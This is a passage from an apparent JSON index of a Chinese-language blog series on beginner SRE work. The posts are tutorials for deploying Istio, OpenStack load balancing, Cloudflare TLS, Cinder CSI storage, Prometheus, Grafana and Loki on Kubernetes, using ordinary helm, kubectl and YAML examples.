.loki.enabled 跟 .promtail.enabled 都是 true 就好，其他都是 false，除非評估有需要用到 filebeat 或 logstash 服務，不然 Promtail 蒐集 Log 就很夠用了。\n接下來就安裝進去吧：\nkubectl create namespace loki helm install -f values.yaml loki grafana/loki-stack -n loki 安裝完畢以後，就可以跟 Grafana 串接起來。\n與 Grafana 連線 Datasource # 那就還看看 Loki 服務名稱，kubectl get service 一下\n根據拿到的 Service 為 loki，再加上因為是不同 Namespace 需要加上 loki，可以知道等等要連線的地方就是 http://loki.loki:3100\n那就進入到 Configuration \u0026gt; Data sources \u0026gt; Add data source 選擇 Loki\nURL 就打上 http://loki.loki:3100\n按下最下面的 Save \u0026amp; Test 只要顯示 Data source connected and labels found. 就代表連線成功了。\n進到 Explore，上面就可以切換 Datasource 為 Loki，按一下 Log browser，就可以根據以下的篩選條件來選擇你要的 Log。\n這裡我會選擇找出 app=istiod 相關的 Log。\n按下 Show logs 就會把相關條件的 Log 找出來。\n還不錯吧！接下來就接上 Dashboard。\n接上 Dashboard # 點到 Dashboards \u0026gt; New dashboard\n就會來到這個畫面，點一下 Add a new panel\n下方的 Query Datasource 改為 Loki，填寫上剛剛想查詢的 Log 範圍，右側記得改為 Logs，Title 設定為 Istio Daemon Logs。\n按下 Apply 就會套用了。\n別忘記按下 Save Dashboard。\n其實 Loki 也可以跟 Syslog 做串接整合，不過這裡因為篇幅限制就沒有寫上來，如果有這樣需求教學，我會再跟 CNTUG 借 Infras 做實驗。\n監控到這裡就暫告一個段落，下一篇就要來講程式碼版本管理 Server - GitLab，後面幾篇就來安裝、上傳程式碼、實作 CI/CD。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://github.com/grafana/helm-charts/tree/main/charts/loki-stack https://grafana.com/docs/loki/latest/fundamentals/architecture/deployment-modes/ https://grafana.com/docs/loki/latest/fundamentals/architecture/components/ ","date":"2022/10/11","externalUrl":null,"permalink":"/posts/it2022-day26/","section":"Posts","summary":"本篇大綱 # 這篇要來介紹 Log 儲存，基於 Time Series 的 Log 儲存系統，安裝在 K8s 上並且跟 Grafana 串起來。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 26 Loki - 把 Log 蒐集儲存起來吧","type":"posts"},{"content":"","date":"2022/10/11","externalUrl":null,"permalink":"/tags/grafana/","section":"Tags","summary":"","title":"Grafana","type":"tags"},{"content":"","date":"2022/10/11","externalUrl":null,"permalink":"/tags/loki/","section":"Tags","summary":"","title":"Loki","type":"tags"},{"content":"","date":"2022/10/11","externalUrl":null,"permalink":"/tags/monitoring/","section":"Tags","summary":"","title":"Monitoring","type":"tags"},{"content":"本篇大綱 # 今天要巡一下 Grafana 可以設定哪些東西？裡面又有哪些內容，今天就來帶各位看看！\n內文 # 上一篇設定好 Grafana VirtualService 還有 Prometheus 設定，今天就來跟大家一起看有哪些內容\n左側選單欄就可以看一些端睨\n其中幾個選項需要講一講：\nDashboards：就是放視覺化圖的地方，除了一般的 Dashboard 觀看以外，還有電視 TV 功能輪流播放，匯入別人寫好的儀表板。 Explore：中文叫做探索，意思就是可以讓你實驗 Datasource 的地方。 Alerting：警告設定的地方，預設會使用 Grafana 的 Alert，你也可以改成 Prometheus 的 Alertmanager。 Configuration：設定資料來源 (Datasource)、使用者、組別 (Teams)、偏好設定、Service Accounts。 Server admin：這裡就是管理員的地方了，可以自由新增使用者跟組織 (Orgs)。 Dashboards # 點進去到 Dashboards \u0026gt; Browse\n點進去 Kubernetes / Compute Resources / Cluster 就會有 CPU\n往下拉就會有 Memory 資料、網路、Storage 讀寫速度\n這些都是 kube-prometheus-stack 預先加入進去的圖表，就可以根據你的需求去做調整。\n官方也開放讓大家投稿好用的 Dashboard，可以丟上去：https://grafana.com/grafana/dashboards/\n看到不錯的圖表可以 Copy ID 到你的 Import 裡面\n輸入 ID 進去或者 Import JSON 進去\n選好要放在哪裡，採用哪個 Datasource，就可以按下 Import\n就可以看到新加入的 Dashboard 囉！\nExplore # Explore 就是可以去測試 Grafana 傳給 PromQL 回傳的顯示資料\nAlerting # 這裡的 Alerting 是 Grafana 自己的 Alerting，並非是 Prometheus 的 Alertmanager。\n可以在 Alerting \u0026gt; Contact points 新增提醒的訊息，系統支援很多傳送，包含 LINE、Discord、Telegram、PagerDuty 等平台。\n這個範例就可以直接傳送到 Discord Webhook\nConfiguration # Configuration 可以新增資料來源，加入其他的 Prometheus Server，像是下一篇要介紹的 Logs Collection - Loki，往下拉也有關聯式資料庫 MySQL、PostgreSQL\n下一篇設定 Loki 的時候也會教怎麼加入資料來源。\n加入擴充套件還有 Service Account，Service Account 可以作為呼叫 Grafana Backend。\nServer Admin # 主要就是用來管理 Grafana Server 的地方啦，Users 跟 Orgs 可以在這裡做管理，還有系統的環境變數也會在這裡看到。\n這裡簡單介紹的差不多了，剩下可以自己去探索摸出來，或者查詢文件學一下怎麼去更改 Dashboard。\n監控其實還缺少一個東西，那就是每個 Container Log 資訊，可以轉到 Grafana 上面看到嗎？當然是可以的，我們會使用 Loki 來幫忙紀錄每個 Container 的 Log，下一篇就要來接上這裡。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/10/10","externalUrl":null,"permalink":"/posts/it2022-day25/","section":"Posts","summary":"本篇大綱 # 今天要巡一下 Grafana 可以設定哪些東西？裡面又有哪些內容，今天就來帶各位看看！\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 25 Grafana - 視覺化和分析工具","type":"posts"},{"content":"","date":"2022/10/10","externalUrl":null,"permalink":"/tags/prometheus/","section":"Tags","summary":"","title":"Prometheus","type":"tags"},{"content":"本篇大綱 # 要怎麼監控 K8s 的狀態呢？CPU、記憶體的使用量還有網路狀況要如何監控，對 SRE 來說這是必備的，今天就來安裝 kube-prometheus-stack 可以看到 K8s 使用狀況。\n內文 # Kubernetes 上最常被提到的監控組合，有錢的解決方案就像是 ElasticSearch + Logstash + Kibana ELK 組合以外，開源的解決方案就是 Prometheus + Grafana，今天就來介紹 Prometheus + Grafana 的組合。\nPrometheus # Prometheus 是個開源監控警告系統，原本是 SoundCloud 建立使用，先後有其他公司跟團隊加入開發，現在是個獨立的開源專案沒有被其他公司持有，2016 年也跟隨 Kubernetes 加入 CNCF。\nPrometheus 最大的特點就是他用蒐集資料是根據時間，用 Time Series 做為 Base 去紀錄 CPU Memory，寫入跟讀取資料都是使用 HTTP 作為 Base，串接資料來說也是蠻方便的。\n繼續安裝以前，還要來介紹搭配的工具 Grafana。\nGrafana # Grafana 是由 Grafana Labs 開發，Cloud 版本會有更多的圖表還有更多的資料來源，但 OSS 版本本身就很夠用了，可以直接跟 Prometheus 做串接，做視覺化的功能居多，自家開發的工具都可以跟 Grafana Dashboard 做整合，蠻方便的。\n稍微簡介完了以後，就可以來開始安裝了！\n安裝 # 這裡我會用 Helm Chart 的 kube-prometheus-stack 作為安裝：https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack\n他們還蠻常在更新的，這次會使用 Chart Version 40.3.1\n那就可以先一如往常慣例加入 Repo 更新：\nhelm repo add prometheus-community https://prometheus-community.github.io/helm-charts helm repo update 那就可以把預設的 values.yaml 拿出來做編輯：\nhelm show values prometheus-community/kube-prometheus-stack --version 40.3.1 \u0026gt; values.yaml 我這裡會特別動幾個 values\n.alertmanager.enabled 改為 false .grafana.defaultDashboardsTimezone 改為 Asia/Taipei .grafana.adminPassword 記得要去更改 .prometheus.prometheusSpec.retentionTime 改為空字串 \u0026quot;\u0026quot; .prometheus.prometheusSpec.retentionSize 改為 9GB .prometheus.prometheusSpec.storageSpec 改為下列： storageSpec: volumeClaimTemplate: spec: storageClassName: csi-cinder-sc-retain accessModes: [\u0026#34;ReadWriteOnce\u0026#34;] resources: requests: storage: 10Gi 那我們就可以來安裝了：\nhelm install -f values.yaml prometheus-stack prometheus-community/kube-prometheus-stack -n prometheus-stack --version 40.3.1 --create-namespace 可以看看 Pod 有沒有任何問題\n確認一下 Service 名稱，等等就要設定 VirtualService 對外公開 Grafana。\n接下來在把 VirtualService 設定給 Grafana ：\napiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: grafana-vs spec: hosts: - grafana.yjerry.tw gateways: - istio-ingress/my-ingressgateway http: - name: \u0026#34;grafana\u0026#34; route: - destination: host: prometheus-stack-grafana port: number: 80 設定檔寫完就可以套用進去：\nkubectl apply -f grafana-vs.yaml -n prometheus-stack 就可以打上網址：https://grafana.yjerry.tw\n就可以輸入密碼剛剛 values.yaml 寫的 .grafana.adminPassword 進去。\n只要來到這裡就代表已經設定成功了，下一篇我將介紹如何觀看裡面的資料！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://prometheus.io/docs/introduction/overview/ https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack ","date":"2022/10/09","externalUrl":null,"permalink":"/posts/it2022-day24/","section":"Posts","summary":"本篇大綱 # 要怎麼監控 K8s 的狀態呢？CPU、記憶體的使用量還有網路狀況要如何監控，對 SRE 來說這是必備的，今天就來安裝 kube-prometheus-stack 可以看到 K8s 使用狀況。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 24 Prometheus + Grafana 監控整合工具 kube-prometheus-stack","type":"posts"},{"content":"本篇大綱 # 因為我們還沒跟 Persistent Volume 串接起來，要透過 OpenStack 提供的 Cinder CSI Plugin 讓 K8s 可以動態建立 PV。\n內文 # Cinder CSI Plugin 是 K8s 對於 OpenStack 所寫的擴充套件，可以用來動態建立 PV，讓 PVC 可以自動 Mount 上去。\n接下來就一步一步完成。\n建立 OpenStack Application Credentials # 這裡就仿照 Day 20 所寫的 Application Credentials 去建立，名稱就寫 Cinder CSI K8s，角色就選擇 member。\n建立完成以後，就點擊 下載 clouds.yaml，等一下會使用到裡面的內容。\n加入 Repo # 這裡我們先來把 Kubernetes 官方提供的 OpenStack 相關套件 Repo 加入進去：\nhelm repo add cpo https://kubernetes.github.io/cloud-provider-openstack helm repo update 然後把 cpo/openstack-cinder-csi 的 Values 預設內容變成檔案：\nhelm show values cpo/openstack-cinder-csi \u0026gt; values.yaml # 把 openstack-cinder-csi Chart 的預設值變成檔案 接下來就來把參數編輯上去\nvim values.yaml 基本上上面的內容不需要做任何變動，往 .secret 欄位看\n這裡可以填寫下載的 clouds.yaml 內容，可以照下面的參考網址做參數對應：https://github.com/kubernetes/cloud-provider-openstack/blob/master/docs/openstack-cloud-controller-manager/using-openstack-cloud-controller-manager.md#global\n下面就給個範例設定那幾行的內容：\nsecret: enabled: true create: true filename: cloud.conf name: cinder-csi-cloud-config data: cloud.conf: |- [Global] auth-url=\u0026#34;\u0026#34; # OpenStack Auth URL application-credential-id=\u0026#34;\u0026#34; # Credential ID application-credential-secret=\u0026#34;\u0026#34; # Credential Secret region=RegionOne 安裝 openstack-cinder-csi # 建立完成後，就安裝進去吧，官方文件是建議安裝在 kube-system 的 Namespace 裡面，那這裡就照這方向進行：\nhelm install --namespace kube-system cinder-csi cpo/openstack-cinder-csi -f values.yaml 安裝成功就會說使用 StorageClass 這兩個 csi-cinder-sc-retain 跟 csi-cinder-sc-delete 這就可以使用 PV。\n這裡就可以建立 PVC：\n# 1. Save as `example-pvc.yaml` # 2. In bash, `kubectl apply -f example-pvc.yaml` # 3. If you want to remove, `kubectl delete -f example-pvc.yaml` apiVersion: v1 kind: PersistentVolumeClaim metadata: name: csi-pvc-cinderplugin spec: accessModes: - ReadWriteOnce resources: requests: storage: 1Gi storageClassName: csi-cinder-sc-delete --- apiVersion: v1 kind: Pod metadata: name: nginx spec: containers: - image: nginx imagePullPolicy: IfNotPresent name: nginx ports: - containerPort: 80 protocol: TCP volumeMounts: - mountPath: /var/lib/www/html name: csi-data-cinderplugin volumes: - name: csi-data-cinderplugin persistentVolumeClaim: claimName: csi-pvc-cinderplugin readOnly: false 用 apply 套用設定：\nkubectl apply -f example-pvc.yaml 稍等再檢查一下 PV 跟 PVC，就會發現他們已經 Bound 了\nOpenStack 雲硬碟上也會有掛載硬碟到 VM 上\n接下來就刪除它：\nkubectl delete -f example-pvc.yaml 刪除後沒隔多久 PV 就會消失了，那是因為 StorageClass 選了 csi-cinder-sc-delete，遇到 PVC 被刪除，PV 就會跟著移除。\n那重要資料需要保留怎麼辦？其實就只要把 StorageClass 改為 csi-cinder-sc-retain，遇到 PVC 被刪除，PV 也不會跟著被刪除。\n奇怪的 Liveness 判斷 # cinder-csi-plugin 雖然最後有時測上去有成功，但是 liveness 一直自己回應 HTTP 500，還會斷線，但 PVC 這樣測試下來目前都沒有碰到問題，甚至我也用 Service 測試連線了，也都是回傳 OK，沒有跳出錯誤。\n基本儲存也具備，那我們就可以來建立監控服務了！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://github.com/kubernetes/cloud-provider-openstack/blob/master/docs/openstack-cloud-controller-manager/using-openstack-cloud-controller-manager.md#global https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/change-pv-reclaim-policy/ ","date":"2022/10/08","externalUrl":null,"permalink":"/posts/it2022-day23/","section":"Posts","summary":"本篇大綱 # 因為我們還沒跟 Persistent Volume 串接起來，要透過 OpenStack 提供的 Cinder CSI Plugin 讓 K8s 可以動態建立 PV。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 23 Cinder CSI Plugin","type":"posts"},{"content":"本篇大綱 # 這篇要用上篇設定的 OpenStack Client 呼叫 OpenStack API 來設定 Load Balancer，設定監聽器還有連線成員。\n本篇大綱 # 如果 OpenStack LB 做不到 L7 的 Load Balancer，那我們就自己建立一個，把上面的工具兜起來，理解這當中的原理，組合出 HTTP L7 Load Balancer 吧！\n內文 # 要做到 HTTP L7 Load Balancer 就需要設定 DNS，還有 TLS 金鑰可以建立 HTTPS 連線。\nDNS 這裡是掛上 Cloudflare，TLS 金鑰也是使用 Cloudflare。\nCloudflare 會採用的是加密模式為 完整 (嚴格)，這個會使用 Cloudflare 的原點憑證 (Origin Certificates)。\n（不一定要直接套用此格式，上面選擇彈性也是可以，Cloudflare 會去自動檢測。）\n產生 Cloudflare 原點憑證 # 進去 Cloudflare \u0026gt; SSL/TLS \u0026gt; 原始伺服器 點擊 建立憑證\n建立私密金鑰：RSA (2048) 保護主機：yjerry.tw 跟 *.yjerry.tw 憑證有效性：15 年 Cloudflare 會產生原點憑證跟私密金鑰，原點憑證跟私密金鑰的內容都複製到 bastion-host 上面，儲存為 example.com.pem 跟 example.com.key。\n像我的 Domain 就會複製為 yjerry.tw.pem 跟 yjerry.tw.key。\n接下來就把憑證放到 Kubernetes 的 Secret 裡面。\n原點憑證放入 Kubernetes Secret # 這裡把原點憑證放入 Secret，建立 TLS 類別：\nkubectl create secret tls yjerry-tw-cert \\ --cert=./yjerry.tw.pem \\ --key=./yjerry.tw.key \\ -n istio-ingress # 命名為 yjerry-tw-cert # cert 放公鑰的路徑 # key 放私鑰的路徑 這樣就加完 TLS 了，就可以跟 Cloudflare 連線就會是安全被加密的。\n設定 Istio Gateway HTTPS # 接下來把上次的 Gateway 設定檔加入 HTTPS 認證\n# 1. Save as `my-ingressgateway.yaml` # 2. In bash, `kubectl apply -f my-ingressgateway.yaml` # 3. If you want to remove, `kubectl delete -f my-ingressgateway.yaml` apiVersion: networking.istio.io/v1beta1 kind: Gateway metadata: name: my-ingressgateway namespace: istio-ingress spec: selector: istio: ingressgateway # 選擇 servers: - port: number: 80 # 開啟 HTTP Port name: http2 protocol: HTTP2 hosts: - \u0026#34;*.yjerry.tw\u0026#34; # 這些 DNS 進來的都會套用 - port: number: 443 # 開啟 HTTPS Port name: https-443 protocol: HTTPS hosts: - \u0026#34;*.yjerry.tw\u0026#34; # 這些 DNS 進來的都會套用 tls: mode: SIMPLE # 使用標準 TLS 連線 credentialName: yjerry-tw-cert # 使用的 K8s Secret 接下來就套用設定進去：\nkubectl apply -f my-ingressgateway.yaml 這樣就設定完成了！\n設定兩個不同的服務以及 VirtualService # 接下來會使用 Apache 還有 Nginx 兩個不同的服務，使用同一組 IP，用不同的 Domain 去區分。\nApache：https://apache.yjerry.tw Nginx：https://nginx.yjerry.tw 先來幫兩個服務個別建立 Namespace，把相關資源都放在這裡：\nkubectl create namespace apache kubectl create namespace nginx 接下來建立 Apache 的 Deployment\napiVersion: apps/v1 kind: Deployment metadata: name: apache-deployment spec: selector: matchLabels: app: apache replicas: 1 template: metadata: labels: app: apache spec: containers: - name: apache image: httpd:2.4.54 ports: - containerPort: 80 還有 Apache 的 Service\napiVersion: v1 kind: Service metadata: name: apache-svc labels: app: apache spec: ports: - port: 80 protocol: TCP selector: app: apache 最後把 Apache Service 對外出去的 VirtualService\napiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: apache-vs spec: hosts: - apache.yjerry.tw gateways: # 選定的 Ingress Gateway - istio-ingress/my-ingressgateway # istio-ingress Namespace 下的 my-ingressgateway http: route: - destination: host: apache-svc # Service 名稱 port: number: 80 # Service Port 可以把這些檔案都放在同一個資料夾 apache，最後再用 apply 套用進去：\nkubectl apply -f apache/ -n apache 繼續建立 Nginx 的 Deployment\napiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment spec: selector: matchLabels: app: nginx replicas: 1 template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 還有 Nginx 的 Service\napiVersion: v1 kind: Service metadata: name: nginx-svc labels: app: nginx spec: ports: - port: 80 protocol: TCP selector: app: nginx 最後把 Nginx Service 對外出去的 VirtualService\napiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: nginx-vs spec: hosts: - nginx.yjerry.tw gateways: # 選定的 Ingress Gateway - istio-ingress/my-ingressgateway # istio-ingress Namespace 下的 my-ingressgateway http: route: - destination: host: nginx-svc # Service 名稱 port: number: 80 # Service Port 可以把這些檔案都放在同一個資料夾 nginx，最後再用 apply 套用進去：\nkubectl apply -f nginx/ -n nginx 接下來設定好兩組 DNS 就可以測試連線了\n測試連線 # 連線到 Apache https://apache.yjerry.tw\n連線到 Nginx https://nginx.yjerry.tw\n這樣就組合出 HTTP L7 Load Balancer + TLS 功能，最基礎的網站建置就完成了！\nVirtualService 其實還可以很多變化，可以根據不同的 Route 跑去相對應的服務，這部分有需求就留給大家去看文件啦！\n講到監控工具以前，先來說說儲存的部分，之前講 Storage 章節的時候，有說可以用工具讓 PVC 產生相對應的 PV 空間，下一篇就帶大家來看這部分。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://istio.io/latest/docs/reference/config/networking/virtual-service https://istio.io/latest/docs/reference/config/networking/gateway/ ","date":"2022/10/07","externalUrl":null,"permalink":"/posts/it2022-day22/","section":"Posts","summary":"本篇大綱 # 這篇要用上篇設定的 OpenStack Client 呼叫 OpenStack API 來設定 Load Balancer，設定監聽器還有連線成員。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 22 OpenStack LB + MetalLB + Istio + Cloudflare 組合出真正的 HTTP L7 Load Balancer + TLS Key","type":"posts"},{"content":"","date":"2022/10/07","externalUrl":null,"permalink":"/tags/cloudflare/","section":"Tags","summary":"","title":"Cloudflare","type":"tags"},{"content":"","date":"2022/10/07","externalUrl":null,"permalink":"/tags/istio/","section":"Tags","summary":"","title":"Istio","type":"tags"},{"content":"本篇大綱 # 這篇要用上篇設定的 OpenStack Client 呼叫 OpenStack API 來設定 Load Balancer，設定監聽器還有連線成員。\n內文 # CNTUG 的 Infra Labs 負載均衡器雖然只有提供 Layer 4 的 Load Balancer，不過這樣也可以夠我們組合出 Layer 7 的 Load Balancer，那我們就繼續接著設定吧！\nOpenStack Client 開 Load Balancer # 首先，我們先來建立 Load Balancer：\nopenstack loadbalancer create --name \u0026#34;Istio ingress\u0026#34; --provider ovn --vip-subnet-id=publicv4 --os-cloud=openstack # 建立為 Istio ingress 的 Load Balancer 這樣就可以在負載均衡器看到剛剛建立的 Istio ingress\nOpenStack Client 建立 Resource Pool # 因為 CNTUG 的資源池只能使用 OpenStack API 呼叫，那就來手動建立：\nopenstack loadbalancer pool create --name \u0026#34;HTTP Member\u0026#34; --loadbalancer \u0026#34;Istio ingress\u0026#34; --protocol TCP --lb-algorithm SOURCE_IP_PORT --os-cloud=openstack # 建立 HTTP Service 的成員 openstack loadbalancer pool create --name \u0026#34;HTTPS Member\u0026#34; --loadbalancer \u0026#34;Istio ingress\u0026#34; --protocol TCP --lb-algorithm SOURCE_IP_PORT --os-cloud=openstack # 建立 HTTPS Service 的成員 這樣在負載均衡器裡面就會看到資源池多了剛剛新增的 HTTP Member 跟 HTTPS Member。\n那就可以點進去 HTTP Member 裡面來看成員\n就可以點擊 添加/移除成員\n把 k8s-n0 跟 k8s-n1 加入進去，根據之前的 Service 所看到的資訊，連接埠填寫上 31068\n接下來點到 HTTPS Member\n就可以點擊 添加/移除成員\n把 k8s-n0 跟 k8s-n1 加入進去，根據之前的 Service 所看到的資訊，連接埠填寫上 32419\nOpenStack 建立監控器 # 接下來回到負載均衡器的監控器，點擊 創建監控器，把 HTTP 跟 HTTPS 的 Port 打開\n名稱：HTTP Ingress 協議：TCP 連接埠：80 創建資源池：否 建立另外一個 HTTPS\n名稱：HTTPS Ingress 協議：TCP 連接埠：443 創建資源池：否 新增完成後，點擊 HTTP Ingress 的 編輯監控器\n把預設資源池 ID 選擇 HTTP Member，並且更新監聽器。\nHTTPS Ingress 把預設資源池 ID 選擇 HTTPS Member，並且更新監聽器。\n這樣就可以試試看連線 Load Balancer IP http://103.122.117.96。\n顯示 404 Not found 就代表已經對外連線成功了！\n只是因為還沒設定 Istio 的 Service 跟 K8s 的 Service 連線，這裡會先顯示 404 Not found，下一篇就要來設定 L7 的 Load Balancer 了！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://docs.openstack.org/python-octaviaclient/latest/ ","date":"2022/10/06","externalUrl":null,"permalink":"/posts/it2022-day21/","section":"Posts","summary":"本篇大綱 # 這篇要用上篇設定的 OpenStack Client 呼叫 OpenStack API 來設定 Load Balancer，設定監聽器還有連線成員。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 21 OpenStack 設定 Load Balancer","type":"posts"},{"content":"本篇大綱 # 本篇會建立 OpenStack Client 直接與 OpenStack API 做溝通，包含產生 Application Credentials 相關步驟。\n內文 # 受限於 Openstack 網頁 API 限制，有些網頁在點擊的時候會跳出此訊息：\n因此這裡會使用 OpenStack Client 直接與 OpenStack API 溝通，直接繞過網頁的一些限制。\nOpenStack Client 連線 # 我們先來建立跟 Client 的連線，首先在 bastion-host 或自己電腦上裝上 Virtualenv 的 Python 環境，並且套用：\nvirtualenv --python=$(which python3) openstack-client # 建立 openstack-client 環境 source openstack-client/bin/activate # 把 openstack-client 虛擬環境打開 接下來就要裝上 OpenStack 的 Client 和 Load Balancer 所使用的 API 工具\npython -m pip install --upgrade pip # 更新 pip 版本 pip install python-openstackclient python-octaviaclient 沒有跳出錯誤訊息，就代表安裝完成了。\n建立 OpenStack Application Credentials # 接下來要去 OpenStack 建立應用程序憑證，點擊 建立應用程序憑證。\n名稱：Bastion Host Client （自己方便辨識即可） 角色：load-balancer_member 一定要選 就可以按下 建立應用程序憑證\n建立完以後會跳出這個，點擊下載 clouds.yaml\n下載後的檔案 clouds.yaml 內容放到執行 OpenStack Client 機器上：\n確認 OpenStack Client 是可以存取：\nopenstack loadbalancer list --os-cloud=openstack # 讀取 Load Balancer 資源 沒有跳出任何錯誤訊息就好了。\n下一篇將會用 OpenStack Client 來建立 OpenStack Load Balancer + Resource Pool。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/10/05","externalUrl":null,"permalink":"/posts/it2022-day20/","section":"Posts","summary":"本篇大綱 # 本篇會建立 OpenStack Client 直接與 OpenStack API 做溝通，包含產生 Application Credentials 相關步驟。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 20 OpenStack Client 連線","type":"posts"},{"content":"本篇大綱 # 這篇接續前面的 Istio 安裝 Istio Ingress Gateway，把 Gateway 啟用可以連線。\n內文 # Istio Ingress 安裝 # 另外開個 Istio Ingress 的 namespace 出來安裝 Istio gateway：\nkubectl create namespace istio-ingress helm install istio-ingressgateway istio/gateway -n istio-ingress 現在拿取 Service 來看看內容：\nkubectl get svc -A 對於 Service 來說，這只是在 Node 上多開一個 NodePort 給服務而已，istio-ingressgateway 所使用的 80 跟 443 分別對應到 NodePort 上的 31068 跟 32419，這些 NodePort 先記錄好，等等再設定後面的 OpenStack 的 Load Balancer 就會需要用到。\n這樣就我們安裝完 Istio 了，如果你是在個人私有雲上，到時候可以直接透過 192.168.200.200 對 External IP 做存取了。\n不過這裡是 OpenStack 環境，需要把 ARP Protection 關閉才能直接連線，但我這裡不是管理員，也不能去隨意關閉它，因此只能直接連線 NodePort。\n現在用 NodePort 嘗試連線：\ncurl http://192.168.200.102:31068 這個代表是不能連線，看起來連 Port 都沒有打開，那是因為我們還沒把加入 gateway 進去。\n那我們現在把 gateway 加入進去：\n# 1. Save as `my-ingressgateway.yaml` # 2. In bash, `kubectl apply -f my-ingressgateway.yaml` # 3. If you want to remove, `kubectl delete -f my-ingressgateway.yaml` apiVersion: networking.istio.io/v1beta1 kind: Gateway metadata: name: my-ingressgateway namespace: istio-ingress spec: selector: istio: ingressgateway # 選擇 servers: - port: number: 80 # 開啟 HTTP Port name: http2 protocol: HTTP2 hosts: - \u0026#34;*.yjerry.tw\u0026#34; # 這些 DNS 進來的都會套用 測試連線 # 那就可以再試 curl 看看：\ncurl http://192.168.200.102:31068 看起來已經有了，但沒有顯示任何東西。\n那就加個 -I 顯示一下標頭：\ncurl http://192.168.200.102:31068 -I 現在這樣內網可以連線了，下一篇就要使用 OpenStack 提供的 Load Balancer 來讓系統可以對外連線，不過在此之前要先來設定 OpenStack Client 端。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://istio.io/latest/docs/reference/config/networking/gateway/ https://istio.io/latest/docs/tasks/traffic-management/ingress/ingress-control/ ","date":"2022/10/04","externalUrl":null,"permalink":"/posts/it2022-day19/","section":"Posts","summary":"本篇大綱 # 這篇接續前面的 Istio 安裝 Istio Ingress Gateway，把 Gateway 啟用可以連線。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 19 Istio - 啟用 Ingress Gateway","type":"posts"},{"content":"","date":"2022/10/04","externalUrl":null,"permalink":"/tags/ingress/","section":"Tags","summary":"","title":"Ingress","type":"tags"},{"content":"本篇大綱 # 今天這篇將來介紹 Istio 還有它的安裝方式，還有為什麼要選擇 Istio。\n內文 # Istio 簡介 # 看官網的簡介：「Simplify observability, traffic management, security, and policy with the leading service mesh.」\n可以知道 Istio 在做的是 Service mesh，微服務（microservice）變多了以後，需要去管理系統之間的流量、分配、安全性。所以可以這樣理解，Service Mesh 是用來「管理服務之間的網路」或是「追蹤服務的行為」。\nIstio 也可以解決複雜的要求，A/B 測試、存取控管、點對點身份驗證，不需要去更改服務本身的程式碼，直接透過 Istio 去做設定更改即可。\n以技術來說，Istio 除了 Service 之間可以用 TLS 加密溝通以外，可以自動 Load Balance HTTP, gRPC, Websocket, TCP，管理路由規則、故障轉移，監控網路流量之間的狀況。\n那我們就來實作怎麼安裝 Istio 吧！\nIstio 安裝 # 這裡會照 Istio 的官方教學，先加入 Istio 的 Chart repo：\nhelm repo add istio https://istio-release.storage.googleapis.com/charts helm repo update 接著繼續安裝 Istio 相關的基礎設定：\nkubectl create namespace istio-system helm install istio-base istio/base -n istio-system # 安裝 CRD helm install istiod istio/istiod -n istio-system --wait # 安裝 Istio Daemon （上面為示意圖，只要部署沒有問題 STATUS 就會顯示 deployed。）\n把 Istiod 安裝完成後，下一篇就來安裝 Istio Ingress。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://istio.io/ https://istio.io/latest/about/service-mesh/ https://medium.brobridge.com/昏倒-service-mesh-原來不是網格服務-9a4b0636371f ","date":"2022/10/03","externalUrl":null,"permalink":"/posts/it2022-day18/","section":"Posts","summary":"本篇大綱 # 今天這篇將來介紹 Istio 還有它的安裝方式，還有為什麼要選擇 Istio。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 18 Istio - 簡介＆安裝","type":"posts"},{"content":"本篇大綱 # MetalLB 要分配 IP 需要套用他們的設定檔，這篇將會講解如何建立 IP Pool 跟分配。\n內文 # MetalLB 在上篇文章安裝完畢，但系統還不具有分配 IP 的功能，我們就要讓他有分配 IP 的能力。\n廣播分兩種模式：Layer 2 mode 跟 BGP mode。\nLayer 2 mode 廣播利用 ARP (IPv4) 跟 NDP 